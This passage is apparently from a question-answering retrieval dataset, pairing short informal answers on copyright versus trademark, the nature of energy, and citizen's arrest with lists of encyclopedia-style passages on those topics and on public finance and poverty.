ways for regular citizens to share these costs. Since it is inefficient for individuals or even groups of individuals to cope with this problem on an individual basis, Ferguson proposes that the cost must be subsidized by the state.\nWhile the United States (and other nations) already subsidize some of these costs, for example in providing public finance to political parties, franking mail or providing staff to politicians, this rarely takes place on a scale that actually does", "individuals, to the extent that government disbursements that constitute income to recipients exceed that abstracted from disposable income in taxes, fees, and other charges. This added purchasing power, when spent, provides markets for private production, inducing producers to invest in additional plant capacity, which will form part of the real heritage left to the future. This is in addition to whatever public investment takes place in infrastructure, education, research, and the like. Larger deficits, sufficient to recycle savings out of a growing gross domestic product (GDP) in excess of what can be recycled by profit-seeking private investment, are not an", "for the country due to a decrease in domestic production and a reduction in production throughout the world. However, that can result in a redistribution of income. Employment subsidy An employment subsidy serves as an incentive to businesses to provide more job opportunities to reduce the level of unemployment in the country (income subsidies) or to encourage research and development. With an employment subsidy, the government provides assistance with wages. Another form of employment subsidy is the social security benefits. Employment subsidies allow a person receiving the benefit to enjoy some minimum standard of living. Tax subsidy Government can create", "money could be spent on teaching citizens of the developing countries health education, basic sanitation, and providing adequate access to prevention methods and medical infrastructure. Not only would NGO money be better spent, but it would be more sustainable. These arguments suggest that the NGO development aid should be used for prevention and determining root causes rather acting upon political endeavours and treating for the sake of saying they helped.\nSome think tanks and NGOs have argued that Western monetary aid often only serves to increase poverty and social inequality, either because it is conditioned with the implementation of harmful economic", "other, and there are more regions outside the administered area which are not known at present. We have no unity among us and it is only the British Government that is holding us together now. Our education is poor. (...) Our country is poor and it does not pay for any administration. Therefore if it is continued to be placed under Reformed Scheme, we are afraid new and heavy taxes will have to be imposed on us, and when we cannot pay, then all lands have to be sold and in long run we shall have no share in the", "be given to them. \"The people of this country, as a rule, receive well. Do we get much from the rich? No; if we depended upon the rick I think our old people would starve. It is from the working people, the poorer people, we get most. They always have ten cents for us or a loaf of bread. We never provide for more than one day. We have no funds at all, but depend upon what good people will give us.\"\nIt goes on to describe the Home itself where the 200 residents lived. From the corridors, sitting rooms to", "the use of tax havens where no effective economic activity occurs.\nDeveloping countries' debt service to banks and governments from richer countries can constrain government spending on the poor. For example, Zambia spent 40% of its total budget to repay foreign debt, and only 7% for basic state services in 1997. One of the proposed ways to help poor countries has been debt relief. Zambia began offering services, such as free health care even while overwhelming the health care infrastructure, because of savings that resulted from a 2005 round of debt relief.\nThe World Bank and the International Monetary Fund, as primary", "mainly fed by consumption taxes. It provided for a redistribution of the tax burden in favor of the poor and a wider taxation of inheritances, review of official salary rates for senior officials, stopping the pernicious practices of unspoken budgets, strengthening the state control system and turning it into an effective force, nurturing conscientiousness with Russian taxpayers.\nIn the book \"How People's Money Is Spent in Russia\" (1908), Ozerov writes:\nState funds were often spent with us essentially wrong, not in the interests of the national economy as a whole, as productive expenditures occupied an absolutely insignificant place in our budget ...\nThe", "policy areas are agriculture and war. If the state is wealthy, the army will be powerful. If the army is powerful, it will win battles. Therefore, the key to victory lies in agriculture. Confucius mentioned before, 'abundance in food supplies and number of troops'. Having abundant food supplies is important to maintaining a powerful army. If the state does not designate any officials to be in charge of collecting taxes and food supplies, there will be no one to accumulate wealth from the masses. As of now, the system of giving rewards based on merit is aimed at collecting food", "which allow illegitimate political leaders to sell natural resources and to borrow money in the name of the country and its people. In Pogge's analysis, these resource and borrowing privileges that international society extends to oppressive rulers of impoverished states play a crucial causal role in perpetuating absolute poverty. What is more, Pogge maintains that these privileges are no accident; they persist because they are in the interest of the wealthy states. The resource privilege helps guarantee a reliable supply of raw materials for the goods enjoyed by the members of wealthy states, and the borrowing privilege allows" ]

[ "Copyright applies to the creation itself. It's the invention!\n\nThe trademark applies to use of some visual element (typically visual) in the context of a \"trade\" (industry, product category) to denote something. If you trademark you are preventing others from using your logo or your packaging, etc. to wrap their own product. \n\nIf you copyright something you're saying \"i own this thing I created\".", "Copyrights are for ownership over goods that are hard to develop but easy to copy (get it? copy-right?) once you have the first prototype. For example, it might cost $100 million to produce a film, but then once you have the master cut ready, making the second copy is like, a buck fifty. Or it might take a novelist five years to write the first copy of his next bestseller, but then all it takes is ctrl-P to print out the next five copies. The only way producers and novelists can make money by selling their creations is if the government *restricts the right to copy intellectual property to whoever created it*, although the copyright is normally only good for a fixed period.\n\n(Copyrights are very similar to patents, by the way.)\n\nTrademarks are more like ownership over your own name, or brand. Let's say you were trying to sell your own brand of chicken sandwich - obviously it would suck if you spent years selling \"Sammy's Sammiches\" and then, once your sandwiches got popular, anyone else could pretend to be you by calling *their* sandwiches \"Sammy's Sammiches\" and dupe people who love your famous sandwiches into buying their crappy sandwiches. That's why you would trademark \"Sammy's\" - you aren't trademarking the actual sandwich or even the recipe for the sandwich, but the name you sell it under, the logo, and other *marks* (get it?) that distinguish your sandwiches from all the others in the sandwich trade." ]

[ "Copyright law was designed to promote authorship and art, and covers the details of a work of authorship or art. Patent law was intended to encourage publication of ideas, at the price of finite monopolies over these ideas – a price that may be worth paying in some fields and not in others. Trademark law was not intended to promote any business activity, but simply to enable buyers to know what they are buying.\nAn example of cautioning others to avoid other terminology while also offering suggestions for possible alternatives is this sentence of an e-mail by Stallman to a public", "copyright infringement. The existence of ordinary licences is a corollary of section 27.(1) of the Copyright Act, which provides that \"[i]t is an infringement of copyright for any person to do, without the consent of the owner of the copyright, anything that by this act only the owner of the copyright has the right to do.\" It is implied in this statutory definition of primary infringement that there is no infringement when the thing is done with consent or permission of the owner of the copyright. In this manner, the copyright act recognizes permissions. Sole licence A sole license is", "them. Ownership The original holder of the copyright may be the employer of the author rather than the author himself if the work is a \"work for hire\". For example, in English law the Copyright, Designs and Patents Act 1988 provides that if a copyrighted work is made by an employee in the course of that employment, the copyright is automatically owned by the employer which would be a \"Work for Hire\". Typically, the first owner of a copyright is the person who created the work i.e. the author. But when more than one person creates the work, then a", "jingles). Trademarks which are considered offensive are often rejected according to a nation's trademark law.\nThe term trademark is also used informally to refer to any distinguishing attribute by which an individual is readily identified, such as the well-known characteristics of celebrities. When a trademark is used in relation to services rather than products, it may sometimes be called a service mark, particularly in the United States. Fundamental concepts The essential function of a trademark is to exclusively identify the commercial source or origin of products or services, so a trademark, properly called, indicates source or serves as a badge of", "as a precondition for pursuing this type of action. The United States, Canada and other countries also recognize common law trademark rights, which means action can be taken to protect an unregistered trademark if it is in use. Still, common law trademarks offer the holder, in general, less legal protection than registered trademarks. Styles A trademark is typically a name, word, phrase, logo, symbol, design, image, or a combination of these elements. There is also a range of non-conventional trademarks comprising marks which do not fall into these standard categories, such as those based on colour, smell, or sound (like", "Two Pesos, Inc. v. Taco Cabana, Inc. Lanham Act protections for trademarks The Lanham Act prohibits \"the deceptive and misleading use of marks\" to protect business owners \"against unfair competition.\" The Act defines trademarks as \"any word, name, symbol, or device or any combination thereof\" used by any person \"to identify and distinguish his or her goods, including a unique product, from those manufactured or sold by others and to indicate the source of the goods, even if that source is unknown.\" A trademark is considered \"distinctive and capable of being protected\" if it \"either (1) is inherently distinctive or", "provides an opportunity for both the author and performers particularly to restrain the work from distortions, damage or other modifications, which are detrimental to their honor or reputation. Copyright and proximity are also economically inherent, as they are authorized to commercialize the sale of protected works, especially in the form of licenses for payment of royalties. Trademark The trademark as a registered right may be authorized by a single member state or a community to achieve the adoption of the 'Domestic Market Integration Office' in Alicante（a city in Spain）. No matter which case, A trademark includes any symbol that can", "United States, where the courts have held that this would \"be a fraud upon the public\". In the U.S., trademark registration can therefore only be sold and assigned if accompanied by the sale of an underlying asset. Examples of assets whose sale would ordinarily support the assignment of a mark include the sale of the machinery used to produce the goods that bear the mark, or the sale of the corporation (or subsidiary) that produces the trademarked goods. Licensing Licensing means the trademark owner (the licensor) grants a permit to a third party (the licensee) in order to commercially use", "German (and European) trademark law.\nThe process by which trademark rights are diminished or lost as a result of common use in the marketplace is known as genericization. This process typically occurs over a period of time in which a mark is not used as a trademark (i.e., where it is not used to exclusively identify the products or services of a particular business), where a mark falls into disuse entirely, or where the trademark owner does not enforce its rights through actions for passing off or trademark infringement.\nOne risk factor that may lead to genericization is the use of a", "of consumers as to quality and other characteristics.\nTrademarks may also serve as an incentive for manufacturers, providers or suppliers to consistently provide quality products or services to maintain their business reputation. Furthermore, if a trademark owner does not maintain quality control and adequate supervision in relation to the manufacture and provision of products or services supplied by a licensee, such \"naked licensing\" will eventually adversely affect the owner's rights in the trademark. For US law see, ex. Eva's Bridal Ltd. v. Halanick Enterprises, Inc. 639 F.3d 788 (7th Cir. 2011). This proposition has, however, been watered down by the judgment", "when suit is finally brought.\nLike patents and copyrights, trademarks can be bought, sold, and transferred from one company or another. Unlike patents and copyrights, trademarks may not remain intact through this process. Where trademarks have been acquired for the purpose of marketing generic (non-distinctive) products, courts have refused to enforce them.\nIn 1923, the author Edgar Rice Burroughs registered his fictitious character Tarzan as a trademark; even after the copyright to the Tarzan story expired, his company used ownership of the trademarks relating to the character (which unlike copyrights, do not have a limited length) to control the production of media", "protection as a whole. Trademark protection does not apply to utilitarian features of a product such as the plastic interlocking studs on Lego bricks.\nDrawing these distinctions is necessary, but often challenging for the courts and lawyers, especially in jurisdictions where patents and copyrights pass into the public domain, depending on the jurisdiction. Unlike patents and copyrights, which in theory are granted for one-off fixed terms, trademarks remain valid as long as the owner actively uses and defends them and maintains their registrations with the competent authorities. This often involves payment of a periodic renewal fee.\nAs a trademark must be used", "by it in its country of origin. Ownership of copyright under the Copyright Act 1957 The author of a work is generally considered as the first owner of the copyright under the Copyright Act 1957. However, for works made in the course of an author's employment under a \"contract of service\" or apprenticeship, the employer is considered as the first owner of copyright, in the absence of any agreement to the contrary.\nThe concept of joint authorship is recognised in Section. 2(z) of the Act which provides that \"a work produced by the collaboration of two or more authors in which", "for infringement of copyright to non-exclusive licensees (it was previously limited to copyright owners and exclusive licensees) when the infringement is directly connected to a prior licensed act by the licensee and the licence expressly grants a right of action (new s. 101A of the 1998 Act).\nThe non-exclusive licensee shall have the same rights and remedies as the copyright owner would have in any action.\nThe right of the non-exclusive licensee to bring action is concomitant with that of the copyright owner.", "be a form of property. Proprietary rights in relation to a trademark may be established through actual use of that trademark in the marketplace or through registration of the mark with the relevant trademarks office (or \"trademarks registry\") of a particular jurisdiction. In some jurisdictions, trademark rights can be established through either or both means. Certain jurisdictions generally do not recognize trademarks rights arising merely through use. If trademark owners do not hold registrations for their marks in such jurisdictions, the extent to which they will be able to enforce their rights through trademark infringement proceedings may be limited. In", "authors or creators of an original work permanent right to copy, distribute and adapt the work. Trademarks Types and duration: A trademark may be registered for ten years, renewable indefinitely for additional ten-year periods.\nLegal effect: Registration gives an owner the exclusive right to use a trademark on the goods for which the trademark is registered. The owner may prevent other parties from using the trademark on competing products.\nAny trademark, whether already registered or being presented for registration, may be contested by the person who 0claims that it belongs to him, or that the resemblance is so close that it may", "may be an \"assignment-in-gross\" and could lead to a loss of rights in the trademark. It is still possible to make significant changes to the underlying goods or services during a sale without jeopardizing the trademark, but companies will often contract with the sellers to help transition the mark and goods or services to the new owners to ensure continuity of the trademark. Comparison with patents, designs and copyright While trademark law seeks to protect indications of the commercial source of products or services, patent law generally seeks to protect new and useful inventions, and registered designs law generally seeks", "acts. The exclusive right granted to a patentee in most countries is the right to prevent others from making, using, selling, or distributing the patented invention without permission. Copyright Copyright is a legal right created by the law of a country that grants the creator of an original work exclusive rights for its use and distribution. This is usually only for a limited time. The exclusive rights are not absolute but limited by limitations and exceptions to copyright law, including fair use. A major limitation on copyright is that copyright protects only the original expression of ideas, and not the", "infringement or merely breach of contract. The deeper question here is whether assignments are really different from exclusive licenses in law, or whether they are two names for the same thing. Dissenting position in Euro-Excellence While maintaining that there was some distinction between assignments and exclusive licenses, the dissent would have held that exclusive licensees had the right under the Copyright Act to sue the original owner of the copyright for copyright infringement. The dissent based this position on section 2.7 of the copyright act, which states that an \"exclusive license is an authorization to do any act that is", "right is an exclusive right to sell or market under that mark within a geographic territory. The rights may be licensed to allow a company other than the owner to sell goods or services under the mark. A company may seek to license a trade mark it did not create in order to achieve instant name recognition rather than accepting the cost and risk of entering the market under its own brand that the public does not necessarily know or accept. Licensing a trade mark allows the company to take advantage of already-established goodwill and brand identification.\nLike patent royalties, trade", "26, 1989. The Treaty has not entered into force; however, its substantive provisions have, to a large extent, been incorporated by reference in the Agreement on Trade-Related Aspects of Intellectual Property Rights (TRIPS Agreement), concluded in 1994. Trademarks A trademark is a sign, or a combination of signs, that distinguishes the goods or services of one company from those of another. Such signs may use words, letters, numerals, pictures, shapes and colors, or any combination thereof. An increasing number of countries also allow for the registration of less traditional forms of trademarks, such as three-dimensional signs (like the Coca-Cola bottle", "the copyright and to independently license the use of the copyright.\nA work is considered a joint work if it is a \"work prepared by two or more authors with the intention that their contributions be merged into an inseparable or interdependent parts of a unitary whole.\" Thus, to be considered a joint work, each author must contribute original expression and the authors must have intended that the work be considered a joint work. For example, in Gordon v. Lee, an architect and the president of a construction venture were not considered joint authors both because the president, who had", "countries (but not in countries like the United States, which recognizes common law trademark rights), a trademark which is not registered cannot be \"infringed\" as such, and the trademark owner cannot bring infringement proceedings. Instead, the owner may be able to commence proceedings under the common law for passing off or misrepresentation, or under legislation which prohibits unfair business practices. In some jurisdictions, infringement of trade dress may also be actionable.", "the trademark legally. It is a contract between the two, containing the scope of content and policy. The essential provisions to a trademark license identify the trademark owner and the licensee, in addition to the policy and the goods or services agreed to be licensed.\nMost jurisdictions provide for the use of trademarks to be licensed to third parties. The licensor must monitor the quality of the goods being produced by the licensee to avoid the risk of trademark being deemed abandoned by the courts. A trademark license should therefore include appropriate provisions dealing with quality control, whereby the licensee provides", "able to use trademark legislation either to prevent a comparative advertisement through an injunction or to charge in respect of its use. Conversely, in British Airways plc v Ryanair Ltd. a lenient approach was adopted by the UK courts. The use of competitors’ trademarks was no longer restricted for businesses competing within an industry, provided that compliance of the conditions set out in the legislation were performed. This meant that businesses are able to use the trademarks of other companies and trade names to distinguish the relative merits of their own products and services over those of their competitors. United", "favouring creators of what they believe is deserving of copyright grant.\nIn the United States, the work is not required to be non-commercial in nature for copyright protection and unlike the US trademark law, the work need to be necessarily lawful. Therefore, works created for commercial purposes, such as advertisements can also be granted a copyright. Originality Under Indian Copyright Law Section 13(1)(a) of the Indian Copyright Act, 1957 mentions 'originality' as a requirement for copyright protection to literary, dramatic, musical and artistic works. Courts have interpreted this requirement of 'originality' in different ways. This has given rise to various", "According to Anatoliy Semyonov, trademark rights exhaustion turned national in 2002, and, as of April 2013, an act is being prepared that could make original goods imported without a permission of the producer officially \"counterfeit\" (by replacing things on which \"a trademark is located illegally\" with things \"on which an illegally used trademark is located\"). He notes that, according to the Criminal Code, illegal use of a trademark can be punished up to 6 years of imprisonment; and a similar article in the Offences Code makes goods with an illegal copy of a trademark subject to confiscation. European Union Some", "for copyright, and the copyright expires after a set period of time (some jurisdictions may allow this to be extended). Different countries impose different tests, although generally the requirements are low; in the United Kingdom there has to be some \"skill, labour, and judgment\" that has gone into it. In Australia and the United Kingdom it has been held that a single word is insufficient to comprise a copyright work. However, single words or a short string of words can sometimes be registered as a trademark instead.\nCopyright law recognizes the right of an author based on whether the work actually", "of the House of Lords in the case of Scandecor Development AB v. Scandecor Marketing AB et al. [2001] UKHL 21; wherein it has been held that the mere fact that a bare license (equivalent of the United States concept of a naked license) has been granted did not automatically mean that a trademark was liable to mislead.\nBy the same token, trademark holders must be cautious in the sale of their mark for similar reasons as apply to licensing. When assigning an interest in a trademark, if the associated product or service is not transferred with it, then this", "else the copyright holder may grant another party a non-exclusive license to copy or distribute the work in a particular region or for a specified period of time.\nA transfer or licence may have to meet particular formal requirements in order to be effective, for example under the Australian Copyright Act 1968 the copyright itself must be expressly transferred in writing. Under the U.S. Copyright Act, a transfer of ownership in copyright must be memorialized in a writing signed by the transferor. For that purpose, ownership in copyright includes exclusive licenses of rights. Thus exclusive licenses, to be effective, must be" ]

[ "Energy isn't made of anything. It's a property of matter. It's like asking 'what is tall made of?'" ]

[ "and \"energy resources\" are defined as:\nEnergy\" means work or heat that is, or may be, produced from any fuel or source whatsoever. ... \"Energy resources\" shall mean any force or material which yields or has the potential to yield energy, including but not limited to electrical, fossil, geothermal, wind, hydro, solid waste, tidal, wood, solar and nuclear sources.\n— N.Y. Energy Law § 1-103 (5) and (6).\nThe chief regulator is the \"Commissioner\" or \"president\" of the New York State Energy Research and Development Authority (also called NYSERDA). The board of directors of NYSERDA includes—as a matter of law—several", "Fuel A fuel is any material that can be made to react with other substances so that it releases energy as heat energy or to be used for work. The concept was originally applied solely to those materials capable of releasing chemical energy but has since also been applied to other sources of heat energy such as nuclear energy (via nuclear fission and nuclear fusion).\nThe heat energy released by reactions of fuels is converted into mechanical energy via a heat engine. Other times the heat itself is valued for warmth, cooking, or industrial processes, as well as the", "energy refers to both solar, wind, tidal current,wave and conventional hydro technology. This includes companies that build solar panels or wind turbines, or the raw materials and services that contribute to these technologies It also refers to Energy Storage – companies that develop and use technologies to store large amounts of energy, particularly renewable energies. A good example of this is the fuel cells used in hybrid cars. Also under the renewable energy sector are Biofuels. This group includes companies that use or supply biological resources (like algae, corn or waster wood) to create energy or fuel. Other technologies that", "of energy are either potential energy (e.g. Chemical, gravitational, electrical energy, temperature differential, latent heat, etc.) or kinetic energy (e.g. momentum). Some technologies provide only short-term energy storage, and others can be very long-term such as power to gas using hydrogen or methane and the storage of heat or cold between opposing seasons in deep aquifers or bedrock. A wind-up clock stores potential energy (in this case mechanical, in the spring tension), a battery stores readily convertible chemical energy to operate a mobile phone, and a hydroelectric dam stores energy in a reservoir as gravitational potential energy. Ice storage", "Electrical energy Electrical energy is energy derived from electric potential energy or kinetic energy. When used loosely, electrical energy refers to energy that has been converted from electric potential energy. This energy is supplied by the combination of electric current and electric potential that is delivered by an electrical circuit (e.g., provided by an electric power utility). At the point that this electric potential energy has been converted to another type of energy, it ceases to be electric potential energy. \nThus, all electrical energy is potential energy before it is delivered to the end-use. Once converted from potential energy,", "energy is the energy that can be replenished easily. For years we have been using sources such as wood, sun, water, etc. for means for producing energy. Energy that can be produced by natural objects like sun, wind, etc. is considered to be renewable. Technologies that have been in usage include wind power, hydropower, solar energy, geothermal energy, and biomass/bioenergy. Water purification Water purification: The whole idea/concept of having dirt/germ/pollution free water flowing throughout the environment. Many other phenomena lead from this concept of purification of water. Water pollution is the main enemy of this concept, and various campaigns and", "Energy History The word energy derives from the Ancient Greek: ἐνέργεια, romanized: energeia, lit. 'activity, operation', which possibly appears for the first time in the work of Aristotle in the 4th century BC. In contrast to the modern definition, energeia was a qualitative philosophical concept, broad enough to include ideas such as happiness and pleasure.\nIn the late 17th century, Gottfried Leibniz proposed the idea of the Latin: vis viva, or living force, which defined as the product of the mass of an object and its velocity squared; he believed that total vis viva was conserved. To account for slowing due to friction,", "areas of science and commerce. Chemistry In the context of chemistry, energy is an attribute of a substance as a consequence of its atomic, molecular or aggregate structure. Since a chemical transformation is accompanied by a change in one or more of these kinds of structure, it is invariably accompanied by an increase or decrease of energy of the substances involved. Some energy is transferred between the surroundings and the reactants of the reaction in the form of heat or light; thus the products of a reaction may have more or less energy than the reactants. A reaction is said", "Outline of energy The following outline is provided as an overview of and topical guide to energy:\nEnergy – in physics, this is an indirectly observed quantity often understood as the ability of a physical system to do work on other physical systems. Since work is defined as a force acting through a distance (a length of space), energy is always equivalent to the ability to exert force (a pull or a push) against an object that is moving along a definite path of certain length. Economics Energy economics", "energy is the joule (J).\nEquivalently, it may be thought of as the energy stored in the electric field. For instance, if one were to hold two like charges a certain distance away from one another and then release them, the charges would move away with kinetic energy equal to the energy stored in the configuration. As an analogy, if one were to lift up a mass to a certain height in a gravitational field, the work it took to do so is equal to the energy stored in that configuration, and the kinetic energy of the mass upon contact with", "History of energy The word energy derives from Greek ἐνέργεια (energeia), which appears for the first time in the work Nicomachean Ethics of 4th century BCE.\nThe concept of energy emerged from the idea of vis viva (living force), which Leibniz defined as the product of the mass of an object and its velocity squared; he believed that total vis viva was conserved. To account for slowing due to friction, Leibniz claimed that heat consisted of the random motion of the constituent parts of matter — a view shared by Isaac Newton, although it would be more than a century until", "Primary energy Primary energy (PE) is an energy form found in nature that has not been subjected to any human engineered conversion process. It is energy contained in raw fuels, and other forms of energy received as input to a system. Primary energy can be non-renewable or renewable.\nWhere primary energy is used to describe fossil fuels, the embodied energy of the fuel is available as thermal energy and around 70% is typically lost in conversion to electrical or mechanical energy. There is a similar 60-80% conversion loss when solar and wind energy is converted to electricity, but today's UN conventions", "Energy mix The energy mix is a group of different primary energy sources from which secondary energy for direct use - usually electricity - is produced. Primary energy in the form of fossil fuels is nowadays still mostly used directly for motor-driven vehicles, i.e. transport. Further energy conversion of the co-produced waste heat after burning is not possible.\nIn 2007, the global primary energy use corresponded to 12.5 million tonnes (12,300,000 long tons; 13,800,000 short tons) oil equivalent corresponding to 145,375 gigawatt-hours (523,350 TJ)). According to the International Energy Agency (IEA) 13,6% of that was used by the EU. Within the EU, 75.9%", "Energy carrier An energy carrier is a substance (fuel) or sometimes a phenomenon (energy system) that contains energy that can be later converted to other forms such as mechanical work or heat or to operate chemical or physical processes.\nSuch carriers include springs, electrical batteries, capacitors, pressurized air, dammed water, hydrogen, petroleum, coal, wood, and natural gas. An energy carrier does not produce energy; it simply contains energy imbued by another system. Definition within the field of energetics In the field of energetics, an energy carrier is produced by human technology from a primary energy source. Only the energy sector uses", "the linear throughput of matter and energy that must power the continuous motion of money, goods and services, and factors of production. Matter and energy enter the economy in the form of low entropy natural capital, such as solar energy, oil wells, fisheries, and mines. These materials and energy are used by households and firms a like to create products and wealth. After the material are used up the energy and matter leaves the economy in the form of high entropy waste that is no longer valuable to the economy. The natural materials that power the motion", "New York energy law Energy Law (Consolidated Laws) The New York Consolidated Laws includes a statutory code called the \"Energy Law\". Under New York law, \"energy\" and \"energy resources\" are defined as:\n\"Energy\" means work or heat that is, or may be, produced from any fuel or source whatsoever. ... \"Energy resources\" shall mean any force or material which yields or has the potential to yield energy, including but not limited to electrical, fossil, geothermal, wind, hydro, solid waste, tidal, wood, solar and nuclear sources.\n— N.Y. Energy Law § 1-103 (5) and (6).\nThe N.Y. Energy Law became effective", "energy.", "energy.", "Self-energy In most theoretical physics such as quantum field theory, the energy that a particle has as a result of changes that it itself causes in its environment defines self-energy , and represents the contribution to the particle's energy, or effective mass, due to interactions between the particle and its system. In electrostatics, the energy required to assemble the charge distribution takes the form of self-energy by bringing in the constituent charges from infinity, where the electric force goes to zero. In a condensed matter context relevant to electrons moving in a material, the self-energy represents the potential felt by", "Energy consumption Energy consumption is the amount of energy or power used.", "Energy supply Other uses Some sources refer to \"energy supply\" when actually referring to the oil reserves or other potential sources of energy.\nNew York Statutes includes a statutory code called \"Energy Law\". Article 21 of this code is called \"Energy Supply and Production\", but rather than a comprehensive code, only consists of one section dealing with renewable energy.", "Energy system An energy system is a system primarily designed to supply energy-services to end-users. Taking a structural viewpoint, the IPCC Fifth Assessment Report defines an energy system as \"all components related to the production, conversion, delivery, and use of energy\". The field of energy economics includes energy markets and treats an energy system as the technical and economic systems that satisfy consumer demand for energy in the forms of heat, fuels, and electricity.\nThe first two definitions allow for demand-side measures, including daylighting, retrofitted building insulation, and passive solar building design, as well as socio-economic factors, such as", "forms are called energy carriers and correspond to the concept of \"secondary energy\" in energy statistics. Conversion to energy carriers (or secondary energy) Energy carriers are energy forms which have been transformed from primary energy sources. Electricity is one of the most common energy carriers, being transformed from various primary energy sources such as coal, oil, natural gas, and wind. Electricity is particularly useful since it has low entropy (is highly ordered) and so can be converted into other forms of energy very efficiently. District heating is another example of secondary energy.\nAccording to the laws of thermodynamics, primary energy sources", "the concept of embodied water. In transportation Theoretically, embodied energy stands for the energy used to extract materials from mines, to manufacture vehicles, assemble, transport, maintain, transform them and to transport energy, and ultimately to recycle these vehicles. Besides, the energy needed to build and maintain transport networks, whether road or rail, should be taken into account as well. The process to be implemented is so complex that no one dares to put forward a figure.\nAccording to the fr:Institut du développement durable et des relations internationales, in the field of transportation, \"it is striking to note that we consume more", "done very energy-efficient.\nThe tasks are decentralized energy supply and storage, decentralized effluent disposal and recycling/ reprocessing and drinking water supply. Energy production Life on our planet is a permanent energy flow between living things and the environment. Most of the currently used energy resources, such as oil, coal, natural gas and uranium are non-renewable. The supply of them buried in the earth is limited and we are using them up at a rapid pace.\nRenewable energy resources such as Solar energy, wind energy, small hydroelectricity (e.g. Swimming hydroelectric power plant), geothermal energy and biomass fuels are becoming increasingly attractive. Solar, Photovoltaics,", "Energy (psychological) Mental energy or psychic energy is a concept in some psychological theories or models of a postulated unconscious mental functioning on a level between biology and consciousness. Philosophical accounts The idea harks back to Aristotle's conception of actus et potentia. \"Energy\" here used in the literal meaning of \"activity\" or \"operation\". Henry More, in his 1642 Psychodia platonica; or a platonicall song of the soul, defined an \"energy of the soul\" as including \"every phantasm of the soul\". Julian Sorell Huxley defines \"mental energy\" as \"the driving forces of the psyche, emotional as well as intellectual\" (On living", "illumination that comes with combustion. Fuels are also used in the cells of organisms in a process known as cellular respiration, where organic molecules are oxidized to release usable energy. Hydrocarbons and related oxygen-containing molecules are by far the most common source of fuel used by humans, but other substances, including radioactive metals, are also utilized.\nFuels are contrasted with other substances or devices storing potential energy, such as those that directly release electrical energy (such as batteries and capacitors) or mechanical energy (such as flywheels, springs, compressed air, or water in a reservoir). History The first known use of fuel", "than the surroundings. When the flow of energy is coming into the body, work is performed by this energy obtained from the large reservoir, the surrounding. A quantitative treatment of the notion of energy quality rests on the definition of energy. According to the standard definition, Energy is a measure of the ability to do work. Work can involve the movement of a mass by a force that results from a transformation of energy. If there is an energy transformation, the second principle of energy flow transformations says that this process must involve the dissipation of some energy as heat.", "primary energy sources. Other sectors of society use an energy carrier to perform useful activities (end-uses). The distinction between \"Energy Carriers\" (EC) and \"Primary Energy Sources\" (PES) is extremely important. An energy carrier can be more valuable (have a higher quality) than a primary energy source. For example 1 megajoule (MJ) of electricity produced by a hydroelectric plant is equivalent to 3 MJ of oil. Sunlight is a main source of primary energy, which can be transformed into plants and then into coal, oil and gas. Solar power and wind power are other derivatives of sunlight. Note that although coal,", "a primary energy source (PES) refers to the energy forms required by the energy sector to generate the supply of energy carriers used by human society.\nSecondary energy is a carrier of energy, such as electricity. These are produced by conversion from a primary energy source.\nPE and TPES are better defined in the context of worldwide energy supply. Usable energy Primary energy sources are transformed in energy conversion processes to more convenient forms of energy that can directly be used by society, such as electrical energy, refined fuels, or synthetic fuels such as hydrogen fuel. In the field of energetics, these" ]

[ "If you witness a felony being committed, in most states, you are allowed to apprehend the suspect. However, unlike sworn police officers, who have many legal protections, when you make a citizen's arrest you have none. So if the suspect gets injured, or wasn't actually committing a crime, you could be criminally liable for assault or kidnapping or something. That's different from a sworn officer, who generally won't be personally liable for anything as long as they followed the department's rules and regulations." ]

[ "Citizen's arrest A citizen's arrest is an arrest made by a person who is not acting as a sworn law-enforcement official. In common law jurisdictions, the practice dates back to medieval England and the English common law, in which sheriffs encouraged ordinary citizens to help apprehend law breakers.\nDespite the practice's name, in most countries, the arresting person is usually designated as a person with arrest powers, who need not be a citizen of the country in which they are acting. For example, in the British jurisdiction of England and Wales, the power comes from section 24A(2) of the Police and", "from the crime scene, if the crime committed is punishable by imprisonment. A person wanted by the police, for whom there is an arrest warrant, can be arrested by anyone at any time. After the arrest, the police must be contacted as soon as possible. Other Powers Although not technically citizen's arrest powers, any person also has the power to arrest for a common law breach of the peace which also provides any person with a power of entry. Section 3 Criminal Justice Act 1967 provides any person the power to apprehend a person unlawfully at large e.g. an offender", "Arrest, trial, and punishment Persons may be arrested only in the act of committing a crime or on orders issued by a judge within the previous 24 hours and defendants have the right to be informed promptly of charges against them. In response to complaints about police conduct at demonstrations held from September 29 to October 1, 2010, a United Nations report issued that year called on Belgium to ensure that police, when using force, follow the United Nations Principles on the Use of Force and Firearms by Law Enforcement Officials and that arrests are carried out in legitimate fashion.\nDefendants", "usually only hand out warnings and fines and can only perform a citizen's arrest as any other citizen can. If they see any major crimes they are required to call the State police.", "allows any person to arrest a criminal found in flagrante delicto. A non-police officer doing so must immediately call the police, because it is illegal to retain or transport any person against their will; failing to do so is illegal deprivation of liberty, a crime similar to kidnapping that can result in a prison sentence for the perpetrator. In 2006, the celebrity bounty hunter Duane 'Dog' Chapman was charged with unlawful deprivation of liberty for arresting an American fugitive in Mexico and attempting to take him across the border to California without consulting police. Norway In Norway, pursuant to §", "immunity from civil liability when making arrests on other private citizens as do police officers.\nThe level of responsibility that a person performing a citizen's arrest may bear depends on the jurisdiction. For instance, in France and Germany, a person stopping a criminal from committing a crime, including crimes against belongings, is not criminally responsible as long as the means employed are in proportion to the threat. Note, however, that in both countries, this results from a different legal norm, \"aid to others in immediate danger\", which is concerned with prevention, not prosecution, of crimes. Queensland In the Australian state of", "Law enforcement in the United Kingdom Jurisdictions and territories In the United Kingdom, every person has limited powers of arrest if they see a crime being committed: at common law in Scotland, and in England and Wales if the crime is indictable – these are called \"every person powers\", commonly referred to as a \"citizen's arrest\". In England and Wales, the vast majority of attested constables enjoy full powers of arrest and search as granted by the Police and Criminal Evidence Act 1984. For the purposes of this legislation, \"constables\" is defined to mean all police officers, irrespective of rank. Although", "detained in fact committed, or attempted to commit, theft of store property. The purpose of this detention is to recover the property and make an arrest if the merchant desires. Differing liability from police Private persons are occasionally granted immunity from civil or criminal liability, like the police are, when arresting others. While the powers to arrest are similar, police are entitled to mistake of fact in most cases, while citizens can be held to a stricter liability depending on the individual state. Police can also detain anyone upon reasonable suspicion. However, ordinary citizens cannot claim \"qualified immunity\" to attempt", "is legally required to hand to police the arrested person and the corpus delicti to the judicial authority, failure to do so could result in the person making the arrest committing a crime. Japan In Japan, Section 213 of the Code of Criminal Procedure allows anyone (not only citizens) witnessing any crime in progress to make an arrest. This is called genkouhan (現行犯, meaning 